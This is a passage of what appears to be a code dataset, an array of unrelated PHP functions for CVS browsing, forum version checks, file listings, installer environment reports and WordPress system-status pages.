$env['mod_path'].\n\t\t$CVSServer->RLog($env['mod_path']);\n\t\t\n\t\t// If we are in the Root of the CVS Repository then lets get the Module list.\n\t\tif (strlen($env['mod_path']) < 2) {\n\t\t\t$Modules = $CVSServer->getModuleList();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$Modules = false;\n\t\t}\n\n\t\t// Do we need the \"Back\" operation.\n\t\tif (strlen($env['mod_path']) > 2) {\n\t\t\t$hrefup = str_replace(\"//\", \"/\", $env['script_name'].\"?mp=\".substr($env['mod_path'], 0, strrpos(substr($env['mod_path'], 0, -1), \"/\")).\"/\");\n\t\t\t$gBitSmarty->assign('hrefup', $hrefup );\n\t\t\t$gBitSmarty->assign('ParentIcon', $env['script_path'].'/icons/parent.png' );\n\t\t}\n\n\t\t$HREF = str_replace(\"//\", \"/\", $env['script_name'].\"?mp=\".$env['mod_path'].\"/\");\n\t\t$gBitSmarty->assign('HREF', $HREF );\n\t\t$gBitSmarty->assign('DownloadIcon', $env['script_path'].'/icons/download.png' );\n\t\t$gBitSmarty->assign('FolderIcon', $env['script_path'].'/icons/folder.png' );\n\t\t$gBitSmarty->assign('ModuleIcon', $env['script_path'].'/icons/module.png' );\n\t\t$gBitSmarty->assign('FileIcon', $env['script_path'].'/icons/file.png' );\n\t\t$gBitSmarty->assign_by_ref('folders', $CVSServer->FOLDERS);\n\t\tif ($Modules !== false) {\n\t\t\t$gBitSmarty->assign_by_ref('modules', $Modules);\n\t\t}\n\t\t$lfiles = array();\n\t\t$i = 0;\n\t\tforeach ($CVSServer->FILES as $File) {\n\t\t\t$lfiles[$i]['Name'] = $File['Name'];\n\t\t\t$lfiles[$i]['Head'] = $File['Head'];\n\t\t\t$lfiles[$i]['HREF'] = str_replace(\"//\", \"/\", $env['script_name'].\"?mp=\".$env['mod_path'].\"/\".$File[\"Name\"]);\n\t\t\t$lfiles[$i]['DateTime'] = strtotime($File[\"Revisions\"][$File[\"Head\"]][\"date\"]);\n\t\t\t$lfiles[$i]['AGE'] = CalculateDateDiff($lfiles[$i]['DateTime'], strtotime(gmdate(\"M d Y H:i:s\")));\n\t\t\t$lfiles[$i]['Author'] = $File[\"Revisions\"][$File[\"Head\"]][\"author\"];\n\t\t\t$lfiles[$i]['Log'] = $File[\"Revisions\"][$File[\"Head\"]][\"LogMessage\"];\n\t\t\t$i++;\n\t\t}\n\t\t$gBitSmarty->assign_by_ref('files', $lfiles);\n\n\t\t$CVSServer->Disconnect();\n\t} else {\n\t\t$gBitSmarty->assign('error', \"ERROR: Could not connect to the PServer\" );\n\t}\n}", "function VersionDetail()\n{\n\tglobal $txt, $context;\n\n\tisAllowedTo('admin_forum');\n\n\t// Call the function that'll get all the version info we need.\n\tloadSource('Subs-Admin');\n\n\t// Get a list of current server versions.\n\t$checkFor = array(\n\t\t'left' => array(\n\t\t\t'server',\n\t\t\t'php',\n\t\t\t'db_server',\n\t\t),\n\t\t'right_top' => array(\n\t\t\t'safe_mode',\n\t\t\t'gd',\n\t\t\t'ffmpeg',\n\t\t\t'imagick',\n\t\t),\n\t\t'right_bot' => array(\n\t\t\t'phpa',\n\t\t\t'apc',\n\t\t\t'memcache',\n\t\t\t'xcache',\n\t\t),\n\t);\n\tforeach ($checkFor as $key => $list)\n\t\t$context['current_versions'][$key] = getServerVersions($list);\n\n\t// Then we need to prepend some stuff into the left column - Wedge versions etc.\n\t$context['current_versions']['left'] = array(\n\t\t'yourVersion' => array(\n\t\t\t'title' => $txt['support_versions_forum'],\n\t\t\t'version' => WEDGE_VERSION,\n\t\t),\n\t\t'wedgeVersion' => array(\n\t\t\t'title' => $txt['support_versions_current'],\n\t\t\t'version' => '??',\n\t\t),\n\t\t'sep1' => '',\n\t) + $context['current_versions']['left'];\n\n\t// And combine the right\n\t$context['current_versions']['right'] = $context['current_versions']['right_top'] + array('sep2' => '') + $context['current_versions']['right_bot'];\n\tunset($context['current_versions']['right_top'], $context['current_versions']['right_bot']);\n\n\t// Now the file versions.\n\t$versionOptions = array(\n\t\t'include_ssi' => true,\n\t\t'include_subscriptions' => true,\n\t\t'sort_results' => true,\n\t);\n\t$version_info = getFileVersions($versionOptions);\n\n\t// Add the new info to the template context.\n\t$context += array(\n\t\t'file_versions' => $version_info['file_versions'],\n\t\t'default_template_versions' => $version_info['default_template_versions'],\n\t\t'template_versions' => $version_info['template_versions'],\n\t\t'default_language_versions' => $version_info['default_language_versions'],\n\t\t'default_known_languages' => array_keys($version_info['default_language_versions']),\n\t);\n\n\t// Make it easier to manage for the template.\n\t$context['forum_version'] = WEDGE_VERSION;\n\n\twetem::load('view_versions');\n\t$context['page_title'] = $txt['admin_version_check'];\n}", "public function getOldFileOffenders()\n\t{\n\t $this->load->model('cleanup','',FALSE);\n\t $this->load->model('configuration');\n\t $dbList = $this->configuration->getDBList();\n\t foreach($dbList->result() as $db) {\n\t \t//if($db == \"som\") {\n\t \techo \"Starting Old File Detection For: \".$db->friendlyName;\n\t \techo \"<br />\";\n\t \t$this->cleanup->getOldFiles($db->dbGroup,$db->fullpath,$db->fsInodeNumber,$db->friendlyName);\n\t \techo \"<hr /><br />\";\n\t //}\n\t }\n\t //$this->cleanup->sendNotices(\"oldfile\");\n\t}", "function list_files($file_paths, $root_path, $student_class_folder, array $code_exts, array $validation_exts) {\n // Prepare header row\n $output = \"<table>\\n<tr>\";\n $output .= \"<th>Permission</th>\";\n //$output .= \"<th>User</th>\";\n //$output .= \"<th>Group</th>\";\n $output .= \"<th>File</th>\";\n $output .= \"<th>Modify Date</th>\";\n $output .= \"<th>Size</th>\";\n $output .= \"<th>Extra</th>\";\n $output .= \"</tr>\\n\";\n\n foreach ($file_paths as $file_path) {\n $relative_path = substr($file_path, strlen($root_path) + 1);\n // $split = split(\"/\", $relative_path);\n $split = explode(\"/\", $relative_path);\n $filename = $split[count($split) - 1];\n $stat = @stat($file_path);\n\n $output .= '<tr>';\n $output .= '<td>' . perms($stat['mode']) . '</td>';\n //$output .= '<td>' . $stat['uid'] . '</td>';\n //$output .= '<td>' . $stat['gid'] . '</td>';\n // Display the correct link to our files\n if (is_dir($file_path))\n $output .= \"<td><a class=\\\"folder\\\" href=\\\"?folder=$relative_path\\\"\";\n elseif (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $code_exts))\n $output .= \"<td><a class=\\\"code\\\" href=\\\"?file=$relative_path\\\"\";\n else\n $output .= \"<td><a class=\\\"show\\\" target=\\\"_blank\\\" href=\\\"/${student_class_folder}/${relative_path}\\\"\";\n $output .= \">\" . $relative_path . \"</a></td>\"; //. $filename \n\n // Show the date. Depending on the due date color the text\n $ctime = date('Y-m-d H:i:s', $stat['ctime']);\n $mtime = date('Y-m-d H:i:s', $stat['mtime']);\n $output .= \"<td\";\n \n $output .= \">$mtime</td>\";\n\n // Add a cell for the size. Ignore directories\n if (is_dir($file_path))\n $output .= \"<td>&nbsp</td>\";\n else\n $output .= '<td class=\"right\">' . $stat['size'] . '</td>';\n\n // Add a cell for a validation link. Only do it for files we're checking.\n if (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $validation_exts)) {\n $server_name = filter_input(INPUT_SERVER, 'SERVER_NAME');\n $url = \"https://${server_name}/${student_class_folder}/${relative_path}\";\n $output .= \"<td><a target=\\\"_blank\\\" href=\\\"http://validator.w3.org/check?uri=$url\\\">Validate</a></td>\";\n } elseif (is_dir($file_path))\n $output .= \"<td><a class=\\\"code\\\" href=\\\"?files=${relative_path}\\\">View Code</a></td>\";\n\n //$output .= \"<td>&nbsp;</td>\";\n\n $output .= \"</tr>\\n\";\n }\n $output .= \"</table>\\n\";\n\n if (count($file_paths) == 0)\n $output .= \"<p class=\\\"error\\\">There are no files to display</p>\";\n\n return $output;\n}", "function getTechFiles($mission = array())\n\t{\n\t\t$exploded_file_paths = array_filter(explode(\"|\",$mission['documents_path']));\n\t\t$exploded_file_names = explode(\"|\",$mission['documents_name']);\n\t\t$zip = \"\";\n\t\t\n\t\t$files = '<table class=\"table\">';\n\t\t$k=0;\n\t\tif($mission['delete']):\n\t\tforeach($exploded_file_paths as $row)\n\t\t{\n\t\t\t$file_path=$this->mission_documents_path.$row;\n\t\t\tif(file_exists($file_path) && !is_dir($file_path))\n\t\t\t{\n\t\t\t\t$zip = true;\n\t\t\t\t$fname = $exploded_file_names[$k];\n\t\t\t\tif($fname==\"\")\n\t\t\t\t\t$fname = basename($row);\n\t\t\t\t$ofilename = pathinfo($file_path);\n\t\t\t\t$files .= '<tr><td width=\"30%\">'.$fname.'</td><td width=\"35%\">'.substr($ofilename['filename'],0,-3).\".\".$ofilename['extension'].'</td><td width=\"20%\">'.formatSizeUnits(filesize($file_path)).'</td><td>Tech</td><td align=\"center\" width=\"15%\"><a href=\"/quote/download-document?type=tech_mission&mission_id='.$mission['id'].'&index='.$k.'\"><i style=\"margin-right:5px\" class=\"splashy-download\"></i></a><span class=\"deletetech\" rel=\"'.$k.'_'.$mission['id'].'\"> <i class=\"icon-adt_trash\"></i></span></td></tr>';\t\n\t\t\t}\n\t\t\t$k++;\n\t\t}\n\t\telse:\n\t\tforeach($exploded_file_paths as $row)\n\t\t{\n\t\t\t$file_path=$this->mission_documents_path.$row;\n\t\t\tif(file_exists($file_path) && !is_dir($file_path))\n\t\t\t{\n\t\t\t\t$zip = true;\n\t\t\t\t$fname = $exploded_file_names[$k];\n\t\t\t\tif($fname==\"\")\n\t\t\t\t\t$fname = basename($row);\n\t\t\t\t$ofilename = pathinfo($file_path);\n\t\t\t\t$files .= '<tr><td width=\"30%\">'.$fname.'</td><td width=\"35%\">'.substr($ofilename['filename'],0,-3).\".\".$ofilename['extension'].'</td><td width=\"20%\">'.formatSizeUnits(filesize($file_path)).'</td><td>Tech</td><td align=\"center\" width=\"15%\"><a href=\"/quote/download-document?type=tech_mission&mission_id='.$mission['id'].'&index='.$k.'\"><i style=\"margin-right:5px\" class=\"splashy-download\"></i></a></td></tr>';\t\n\t\t\t}\n\t\t\t$k++;\n\t\t}\n\t\tendif;\t\t\t\n\t\tif($zip)\n\t\t\t$zip = '<thead><tr><td colspan=\"5\"><a href=\"/quote/download-document?type=tech_mission&index=-1&mission_id='.$mission['id'].'\" class=\"btn btn-small pull-right\">Download Zip</a></td></tr></thead>';\n\t\t$files .=$zip.\"</table>\";\n\t\treturn $files;\n\t}", "function testReport($aServer='', $aHTDetect='')\n {\n global $iConfig, $sys_lang;\n \n $aPHPval = array_keys($iConfig['php_modules']);\n $aPaths = array_keys($iConfig['chmod_paths']);\n\n $dataServer = (empty($aServer)) ? $this->parsePHPConfig($iConfig['server_info']) : $this->parsePHPConfig($aServer);\n $dataMods = (empty($aHTDetect)) ? $this->parseApacheModules($iConfig['server_modules']) : $this->parseApacheModules($iConfig['server_modules'], $aHTDetect);\n\t\t$dataModsOpt = (empty($aHTDetect)) ? $this->parseApacheModules($iConfig['server_modules_optional']) : $this->parseApacheModules($iConfig['server_modules_optional'], $aHTDetect);\n $dataPHP = $this->parsePHPConfig($aPHPval);\n $dataPaths = $this->setCHMOD($iConfig['chmod_paths']);\n $is_error=false;\n ob_start();\n ?>\n <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"DTD/xhtml1-transitional.dtd\">\n <html>\n <head>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n <meta name=\"ROBOTS\" content=\"NOINDEX,NOFOLLOW,NOARCHIVE\" />\n\n <title><?php echo $this->t('report_title');?></title>\n\n <link type=\"text/css\" href=\"css/report.css\" rel=\"stylesheet\" media=\"screen\" />\n <link rel=\"shortcut icon\" href=\"css/favicon.ico\" />\n <script type=\"text/javascript\" src=\"js/jquery.js\"></script>\n <script>\n $(document).ready(function(){\n var cookie = document.cookie.toUpperCase();\n $('.browser_js').show();\n if(cookie.indexOf(\"PHPSESSID\")<0)\n {\n $('.browser_cookie_disabled').show();\n } \n else\n {\n $('.browser_cookie_enabled').show();\n $('.browser_control').hide();\n }\n });\n </script>\n \n </head>\n <body>\n <div class=\"center\">\n <table border=\"0\" cellpadding=\"3\" width=\"600\">\n <tr class=\"h\"><td><a href=\"http://www.primadg.com/\"><img border=\"0\" src=\"css/logo.png\" alt=\"Logo\" /></a><h1 class=\"p\"><?php echo $this->t('report_title');?></h1></td></tr>\n <tr class=\"nav\"><td><?php echo $this->languageSelect($sys_lang, '', 'get');?></td></tr>\n </table>\n <br />\n <?php\n $is_cgi = strtolower($this->parsePHPConfig('server_api'));\n $aCGI = array('cgi');\n if (in_array($is_cgi, $aCGI))\n {\n echo '<h1 class=\"warning\">'. $this->t('w_cgi_module') .'</h1>';\n }\n if (strpos('apache',strtolower($is_cgi))<0)\n {\n echo '<h1 class=\"warning\">'. $this->t('w_not_apache') .'</h1>';\n }\n ?>\n <table border=\"0\" cellpadding=\"3\" width=\"600\">\n <?php\n foreach ($dataServer as $k => $v)\n {\n echo ' <tr><td class=\"e\" width=\"200px\" title=\"'. $k .'\">'. $v['label'] .'</td><td class=\"v\">'. $v['value'] .'</td></tr>';\n }\n ?>\n </table>\n\n <h2><?php echo $this->t('report_mod_server');?></h2>\n <table width=\"600\" cellpadding=\"3\" border=\"0\">\n <tbody>\n <tr class=\"h\"><th width=\"200\"><?php echo $this->t('report_module');?></th><th><?php echo $this->t('report_module_local');?></th><th><?php echo $this->t('report_module_desired');?></th><th><?php echo $this->t('report_module_hosting');?></th></tr>\n <?php\n if ($dataMods === FALSE)\n {\n echo ' <tr><td class=\"error\" colspan=\"4\">'. $this->t('e_apache_modules') .'</td></tr>';\n }else{\n foreach ($dataMods as $k => $v)\n {\n $td_class = 'error';\n $msg = $this->t('report_module_fail');\n\n if ($v)\n {\n $td_class = 'v';\n $msg = $this->t('report_module_ok');\n }\n \n if($td_class == 'error')\n {\n $is_error=true;\n }\n\n echo ' <tr><td class=\"e\">'. $k .'</td><td class=\"'. $td_class .'\">'. $msg .'</td><td class=\"'. $td_class .'\">'. $this->t('report_module_ok') .'</td><td class=\"'. $td_class .'\">'. $this->t('report_module_ok') .'</td></tr>';\n }\n\t\t\t$out_td = '';\n foreach ($dataModsOpt as $k => $v)\n {\n $td_class = 'test_warning';\n $msg = $this->t('report_module_fail');\n\n if ($v)\n {\n $td_class = 'v';\n $msg = $this->t('report_module_ok');\n }\n \n if($td_class == 'error')\n {\n $is_error=true;\n }\n\n $out_td .= '<tr><td class=\"e\">'. $k .'</td><td class=\"'. $td_class .'\">'. $msg .'</td><td class=\"'. $td_class .'\">'. $this->t('report_module_ok') .'</td><td class=\"'. $td_class .'\">'. $this->t('report_module_ok') .'</td></tr>';\n if (!$v)\n $out_td .= '<tr><td colspan=\"4\" class=\"wt\">'.$this->t($k.'_optional').'</td></td></tr>';\n \n }\n echo $out_td;\n }\n ?>\n </tbody>\n </table>\n\n <h2><?php echo $this->t('report_mod_php');?></h2>\n <table width=\"600\" cellpadding=\"3\" border=\"0\">\n <tbody>\n <tr class=\"h\"><th width=\"200\"><?php echo $this->t('report_module');?></th><th><?php echo $this->t('report_module_local');?></th><th><?php echo $this->t('report_module_desired');?></th><th><?php echo $this->t('report_module_hosting');?></th></tr>\n <?php\n foreach ($iConfig['php_modules'] as $k => $v)\n {\n $td_class = 'error';\n $val=isset($dataPHP[$k]) ? $dataPHP[$k]['value'] : $this->t('report_browser_local');\n \n if (isset($dataPHP[$k]) && $dataPHP[$k]['value'] == $v)\n {\n $td_class = 'v';\n } \n if ($k == 'php_version' && version_compare($dataPHP[$k]['value'], $v, \">=\"))\n {\n $td_class = 'v';\n }\n if($td_class == 'error')\n {\n $is_error=true;\n }\n \tif ($k == 'openssl_support')\n\t\t\techo ' <tr><td class=\"e\">'. $k .'</td><td class=\"'. $td_class .'\">'. $val .'</td><td class=\"'. $td_class .'\">'. 'for hosting only' .'</td><td class=\"'. $td_class .'\">'. $v .'</td></tr>';\n\t\telse\n \t\techo ' <tr><td class=\"e\">'. $k .'</td><td class=\"'. $td_class .'\">'. $val .'</td><td class=\"'. $td_class .'\">'. $v .'</td><td class=\"'. $td_class .'\">'. $v .'</td></tr>';\n }\n ?>\n </tbody>\n </table>\n \n <h2><?php echo $this->t('report_mysql');?></h2>\n <?php \n $td_class = 'error';\n $version=$this->getMysqlVersion();\n if ($version===false||version_compare($version, $iConfig['mysql']['mysql_version'], \">=\"))\n {\n $td_class = 'v';\n }\n if($td_class == 'error')\n {\n $is_error=true;\n }\n ?>\n <table width=\"600\" cellpadding=\"3\" border=\"0\">\n <tbody>\n <tr class=\"h\"><th width=\"200\"><?php echo $this->t('report_module');?></th><th><?php echo $this->t('report_module_local');?></th><th><?php echo $this->t('report_module_desired');?></th><th><?php echo $this->t('report_module_hosting');?></th></tr>\n <tr><td class=\"e\"><?php echo $this->t('report_mysql_version');?></td><td class=\"<?php echo $td_class;?>\"><?php echo ($version!==false)?$version:'Undefined';?></td><td class=\"<?php echo $td_class;?>\"><?php echo $iConfig['mysql']['mysql_version'];?></td><td class=\"<?php echo $td_class;?>\"><?php echo $iConfig['mysql']['mysql_version'];?></td></tr>\n </tbody>\n </table>\n\n <!--<h2><?php echo $this->t('report_paths');?></h2>\n <table width=\"600\" cellpadding=\"3\" border=\"0\">\n <tbody>\n <tr class=\"h\"><th width=\"400\"><?php echo $this->t('report_path');?></th><th><?php echo $this->t('report_module_local');?></th><th><?php echo $this->t('report_module_desired');?></th></tr>\n <?php\n foreach ($iConfig['chmod_paths'] as $k => $v)\n {\n $td_class = 'error';\n \n if (empty($dataPaths[$k]['status'])) $td_class = 'v';\n\n echo ' <tr><td class=\"e\">'. $k .'</td><td class=\"'. $td_class .'\" title=\"'. $dataPaths[$k]['status'] .'\">'. $dataPaths[$k]['mode'] .'</td><td class=\"'. $td_class .'\">'. $v .'</td></tr>';\n }\n ?>\n </tbody>\n </table>-->\n \n <h2><?php echo $this->t('report_browser');?></h2>\n <table border=\"0\" cellpadding=\"3\" width=\"600\">\n <tbody>\n <tr class=\"h\">\n <th width=\"200\"><?php echo $this->t('report_browser_test');?></th>\n <th><?php echo $this->t('report_module_local');?></th>\n <th><?php echo $this->t('report_module_desired');?></th>\n <th><?php echo $this->t('report_module_hosting');?></th>\n </tr>\n <noscript>\n <tr>\n <td class=\"e\">JavaScript</td>\n <td class='error'><?php echo $this->t('report_browser_local');?></td>\n <td class='error'><?php echo $this->t('report_browser_desired');?></td>\n <td class='error'><?php echo $this->t('report_browser_desired');?></td>\n </tr>\n <tr class=\"browser_cookie\">\n <td class=\"e\">Cookie</td>\n <td class='error'><?php echo $this->t('report_browser_undefined');?></td>\n <td class='error'><?php echo $this->t('report_browser_desired');?></td>\n <td class='error'><?php echo $this->t('report_browser_desired');?></td>\n </tr>\n </noscript>\n <tr class=\"browser_js\" style=\"display:none;\">\n <td class=\"e\">JavaScript</td>\n <td class='v'><?php echo $this->t('report_browser_desired');?></td>\n <td class='v'><?php echo $this->t('report_browser_desired');?></td>\n <td class='v'><?php echo $this->t('report_browser_desired');?></td>\n </tr>\n <tr class=\"browser_cookie_disabled\" style=\"display:none;\">\n <td class=\"e\">Cookie</td>\n <td class='error'><?php echo $this->t('report_browser_local');?></td>\n <td class='error'><?php echo $this->t('report_browser_desired');?></td>\n <td class='error'><?php echo $this->t('report_browser_desired');?></td>\n </tr>\n <tr class=\"browser_cookie_enabled\" style=\"display:none;\">\n <td class=\"e\">Cookie</td>\n <td class='v'><?php echo $this->t('report_browser_desired');?></td>\n <td class='v'><?php echo $this->t('report_browser_desired');?></td>\n <td class='v'><?php echo $this->t('report_browser_desired');?></td>\n </tr>\n </tbody></table> \n <table <?php echo (!$is_error) ? \"class='browser_control'\" : \"\";?> width=\"600\"><tr><td width=\"20\" class=\"error\"></td><td> - <?php echo sprintf($this->t('report_error_happens'), $iConfig['support_mail']);?></td></tr></table>\n <hr />\n <div id=\"copi\"><a href=\"<?php echo $iConfig['support_site'];?>\"><?php echo $this->t('copyright').date(\" 2002 - Y \").$this->t('global_copy');?></a></div>\n </div>\n </body>\n </html>\n <?php\n ob_end_flush();\n }", "function show_tools()\n{\n\tglobal $ns,$tp;\n\t\n\tif(is_readable(e_ADMIN.\"ver.php\"))\n\t{\n\t\tinclude(e_ADMIN.\"ver.php\");\n\t\tlist($ver, $tmp) = explode(\" \", $e107info['e107_version']);\n\t}\n\t\t\n\t$lans = getLanList();\n\t\n\t$release_diz = defined(\"LANG_LAN_30\") ? LANG_LAN_30 : \"Release Date\";\n\t$compat_diz = defined(\"LANG_LAN_31\") ? LANG_LAN_31 : \"Compatibility\";\n\t$lan_pleasewait = (defsettrue('LAN_PLEASEWAIT')) ? $tp->toJS(LAN_PLEASEWAIT) : \"Please Wait\";\n\t$lan_displayerrors = (defsettrue('LANG_LAN_33')) ? LANG_LAN_33 : \"Display only errors during verification\";\n\t\n\t\n\t$text = \"<form id='lancheck' method='post' action='\".e_SELF.\"?tools'>\n\t\t\t<table class='fborder' style='\".ADMIN_WIDTH.\"'>\";\n\t$text .= \"\n\t\t<tr>\n\t\t<td class='fcaption'>\".ADLAN_132.\"</td>\n\t\t<td class='fcaption'>\".$release_diz.\"</td>\t\t\n\t\t<td class='fcaption'>\".$compat_diz.\"</td>\n\t\t<td class='fcaption' style='text-align:center'>\".ADLAN_134.\"</td>\n\t\t<td class='fcaption' style='text-align:center;width:25%;white-space:nowrap'>\".LAN_OPTIONS.\"</td>\n\t\t</tr>\n\t\t\";\n\t\n\trequire_once(e_HANDLER.\"xml_class.php\");\n\t$xm = new XMLParse();\n\t\n\tforeach($lans as $language)\n\t{\n\t\tif($language == \"English\")\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\t$metaFile = e_LANGUAGEDIR.$language.\"/\".$language.\".xml\";\n\t\t\n\t\tif(is_readable($metaFile))\n\t\t{\n\t\t\t$rawData = file_get_contents($metaFile);\n\t\t\tif($rawData)\n\t\t\t{\n\t\t\t\t$array = $xm->parse($rawData);\n\t\t\t\t$value = $array['e107Language']['attributes'];\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$value = array(\n\t\t\t\t'date' \t\t\t=> \"&nbsp;\",\n\t\t\t\t'compatibility' => '&nbsp;'\n\t\t\t);\t\t\n\t\t\t}\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$value = array(\n\t\t\t\t'date' \t\t\t=> \"&nbsp;\",\n\t\t\t\t'compatibility' => '&nbsp;'\n\t\t\t);\t\n\t\t}\n\t\t\n\t\t$errFound = (isset($_SESSION['lancheck'][$language]['total']) && $_SESSION['lancheck'][$language]['total'] > 0) ? TRUE : FALSE;\n\t\t\n\t\t\t\t\t\t\n\t\t$text .= \"<tr>\n\t\t\t<td class='forumheader3' >\".$language.\"</td>\n\t\t\t<td class='forumheader3' >\".$value['date'].\"</td>\n\t\t\t<td class='forumheader3' >\".$value['compatibility'].\"</td>\n\t\t\t<td class='forumheader3' style='text-align:center' >\".($ver != $value['compatibility'] || $errFound ? ADMIN_FALSE_ICON : ADMIN_TRUE_ICON ).\"</td>\n\t\t\t<td class='forumheader3' style='text-align:center'><input type='submit' name='language_sel[{$language}]' value=\\\"\".LAN_CHECK_2.\"\\\" class='button' />\n\t\t\t<input type='submit' name='ziplang[{$language}]' value=\\\"\".LANG_LAN_23.\"\\\" class='button' onclick=\\\"this.value = '\".$lan_pleasewait.\"'\\\" /></td>\t\n\t\t\t</tr>\";\n\t\t}\n\t\t\n\t\t$srch = array(\"[\",\"]\");\n\t\t$repl = array(\"<a rel='external' href='http://e107.org/content/About-Us:The-Team#translation-team'>\",\"</a>\");\n\t\t$diz = (defsettrue(\"LANG_LAN_28\")) ? LANG_LAN_28 : \"Check this box if you're an [e107 certified translator].\";\n\t\n\t\t$checked = varset($_COOKIE['e107_certified']) == 1 ? \"checked='checked'\" : \"\";\n\t\t$text .= \"<tr><td class='forumheader' colspan='4' style='text-align:center'>\n\t\t <input type='checkbox' name='contribute_pack' value='1' {$checked} />\".str_replace($srch,$repl,$diz);\n\t\t\n\t\t$echecked = varset($_SESSION['lancheck-errors-only']) == 1 ? \"checked='checked'\" : \"\";\t\t\n\t\t$text .= \"</td>\n\t\t<td class='forumheader' style='text-align:center'>\n\t\t<input type='checkbox' name='errorsonly' value='1' {$echecked} /> \".$lan_displayerrors.\" </td>\n\t\t\n\t\t</tr></table>\";\n\t\t\n\t\t\n\t\t$text .= \"</form>\";\n\t\n\t$text .= \"<div class='smalltext' style='padding-top:50px;text-align:center'>\".LANG_LAN_AGR.\"</div>\";\t\n\t$ns->tablerender(LANG_LAN_32, $text);\t\t\n\treturn;\n\t\t\n}", "function templ_system_status()\r\n\t{\r\n\t\trequire_once(TEMPL_MONETIZE_FOLDER_PATH.'templ_header_section.php' );\r\n\t\t?>\r\n\t\t\t<table class=\"tmpl-general-settings form-table\" cellspacing=\"0\" id=\"status\">\r\n\t\t\t\t<thead>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th colspan=\"3\" data-export-label=\"WordPress Environment\"><h2><?php _e( 'WordPress Environment', 'templatic-admin' ); ?></h2></th>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</thead>\r\n\t\t\t\t<tbody>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Home URL\"><?php _e( 'Home URL', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php echo get_option( 'home' ); ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Site URL\"><?php _e( 'Site URL', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php echo get_option( 'siteurl' ); ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"WP Version\"><?php _e( 'WP Version', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php bloginfo('version'); ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"WP Multisite\"><?php _e( 'WP Multisite', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php if ( is_multisite() ) echo '&#10004;'; else echo '&ndash;'; ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"WP Memory Limit\"><?php _e( 'WP Memory Limit', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php\r\n\t\t\t\t\t\t\t$memory = $this->tmpl_let_to_num( WP_MEMORY_LIMIT );\r\n\r\n\t\t\t\t\t\t\tif ( function_exists( 'memory_get_usage' ) ) {\r\n\t\t\t\t\t\t\t\t$system_memory = $this->tmpl_let_to_num( @ini_get( 'memory_limit' ) );\r\n\t\t\t\t\t\t\t\t$memory = max( $memory, $system_memory );\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\tif ( $memory < 67108864 ) {\r\n\t\t\t\t\t\t\t\techo '<mark class=\"error\">' . sprintf( __( '%s - We recommend setting memory to at least 64MB. See: %s', 'templatic-admin' ), size_format( $memory ), '<a href=\"http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP\" target=\"_blank\">' . __( 'Increasing memory allocated to PHP', 'templatic-admin' ) . '</a>' ) . '</mark>';\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\techo '<mark class=\"yes\">' . size_format( $memory ) . '</mark>';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"WP Debug Mode\"><?php _e( 'WP Debug Mode', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php if ( defined('WP_DEBUG') && WP_DEBUG ) echo '<mark class=\"yes\">&#10004;</mark>'; else echo '<mark class=\"no\">&ndash;</mark>'; ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Language\"><?php _e( 'Language', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php echo get_locale(); ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</tbody>\r\n\t\t\t</table>\r\n\t\t\t\r\n\t\t\t<table class=\"tmpl-general-settings form-table\" cellspacing=\"0\">\r\n\t\t\t\t<thead>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th colspan=\"3\" data-export-label=\"Server Environment\"><h2><?php _e( 'Server Environment', 'templatic-admin' ); ?></h2></th>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</thead>\r\n\t\t\t\t<tbody>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"Server Info\"><?php _e( 'Server Info', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php echo esc_html( $_SERVER['SERVER_SOFTWARE'] ); ?></td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-export-label=\"PHP Version\"><?php _e( 'PHP Version', 'templatic-admin' ); ?>:</th>\r\n\t\t\t\t\t\t<td><?php\r\n\t\t\t\t\t\t\t// Check if phpversion function exists.\r\n\t\t\t\t\t\t\tif ( function_exists( 'phpversion' ) ) {\r\n\t\t\t\t\t\t\t\t$php_version = phpversion();\r\n\r\n\t\t\t\t\t\t\t\tif ( version_compare( $php_version, '5.4', '<' ) ) {\r\n\t\t\t\t\t\t\t\t\techo '<mark class=\"error\">' . sprintf( __( '%s - We recommend a minimum PHP version of 